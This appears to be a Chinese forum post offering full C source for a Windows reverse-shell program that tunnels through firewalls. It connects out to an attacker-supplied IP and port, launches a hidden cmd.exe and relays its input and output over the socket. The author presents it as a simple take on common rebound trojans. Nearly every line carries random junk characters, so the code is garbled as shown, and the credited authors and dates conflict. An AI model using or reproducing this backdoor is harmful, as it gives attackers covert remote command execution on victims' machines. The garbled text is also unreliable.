Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 V& C/Z}\  
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/* ============================== r5!/[_l  
Rebound port in Windows NT CHV*vU<N  
By wind,2006/7 kcb.Wz~=  
===============================*/ JyR/1 W  
#include Vp>|hj po  
#include G7N| :YK  
pp7$J2s+j  
#pragma comment(lib,"wsock32.lib") `7/Y@}n  
hWH:wB  
void OutputShell(); XJLQ{  
SOCKET sClient; &QhX1dT+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; i hh/sPi  
.BFYY13H  
void main(int argc,char **argv) &ZL
3{M  
{ tK&'<tZh  
WSADATA stWsaData; 5uxBK"q  
int nRet; /z BxJT0  
SOCKADDR_IN stSaiClient,stSaiServer; rXA*NeA3v  
u]vQ>Uu  
if(argc != 3) meOMq1  
{ -?(E_^ng  
printf("Useage:\n\rRebound DestIP DestPort\n"); r#xg#uoj  
return; 0
_CN/5F  
} 6;|n]m\Vd  
]O]GeAGC2  
WSAStartup(MAKEWORD(2,2),&stWsaData); Z!U)I-x&  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Yv:55+e!|  
 J/}:x;Y  
stSaiClient.sin_family = AF_INET; ~#kT_*sw)  
stSaiClient.sin_port = htons(0); ;A#`]-i C  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6ND`l5  
qL,tYJ<m%  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wC5ee:u C%  
{ 8P=o4lO+  
printf("Bind Socket Failed!\n"); 
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return; CZ nOui  
} $z+8<?YD  
b, :QT~g=  
stSaiServer.sin_family = AF_INET; `F/Tv 5@L  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |Pg@M  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {#)0EzV6  
6 ~>FYX  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e^O(e  
{ kYLM&&h
 
printf("Connect Error!"); /{|fyKo\?  
return; R
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} 9Lr'YRl[W  
OutputShell(); `3:.??7N  
} y K"kEA[;  
%Qj;,#z  
void OutputShell() 8stwg'  
{ =9j8cC5y  
char szBuff[1024]; F+@5C:<?  
SECURITY_ATTRIBUTES stSecurityAttributes; s>^dxF!+  
OSVERSIONINFO stOsversionInfo; e[8LmuIZ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v'e[GB0  
STARTUPINFO stStartupInfo; ;X?mmv'  
char *szShell; clk[/'1  
PROCESS_INFORMATION stProcessInformation; `\+@Fwfx  
unsigned long lBytesRead; ~V$|i"  
p ZZc:\fJ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _r2J7&  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); x:QgjK  
stSecurityAttributes.lpSecurityDescriptor = 0; ;$z$@@WC  
stSecurityAttributes.bInheritHandle = TRUE; P LueVz  
e#E2>Bj;  
lEV]4 t_H  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); kcQ'$<Mz<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); FXs*vg`  
4n4?4BEn  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); HQB(*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8H_l:Z[:i  
stStartupInfo.wShowWindow = SW_HIDE; &\Amn?Iq  
stStartupInfo.hStdInput = hReadPipe; 8HP6+c%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sq;s]@~  
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n`3  
GetVersionEx(&stOsversionInfo); i@4~.iZ8  
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switch(stOsversionInfo.dwPlatformId) E<c9#I=  
{ HcqfB NM  
case 1: L =8rH5  
szShell = "command.com"; g>J<%z,}2  
break; #es9d3~\  
default: SXy=<%ed  
szShell = "cmd.exe"; F}=aBV|-  
break; v.]Q$q^  
} l\sU  
3JVK  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *f?4   
=dFv/F/RW  
send(sClient,szMsg,77,0); kSDZZx  
while(1) ]Oif|k
`{  
{ \.3D~2cU  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); q#8[  
if(lBytesRead) 0q'w8]m  
{ =XY\iV1J*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); g]c6&Y,#  
send(sClient,szBuff,lBytesRead,0); {\(L%\sV@  
} ]GRWnif  
else 9[^gAR  
{ d,=r9.  
lBytesRead=recv(sClient,szBuff,1024,0); `+uhy,  
if(lBytesRead<=0) break; ma((2My'H  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B:+6~&,-  
} xQ@^$_  
} |JVk&8 ?8  
_~T!9  
return; 'UYR5Y>  
}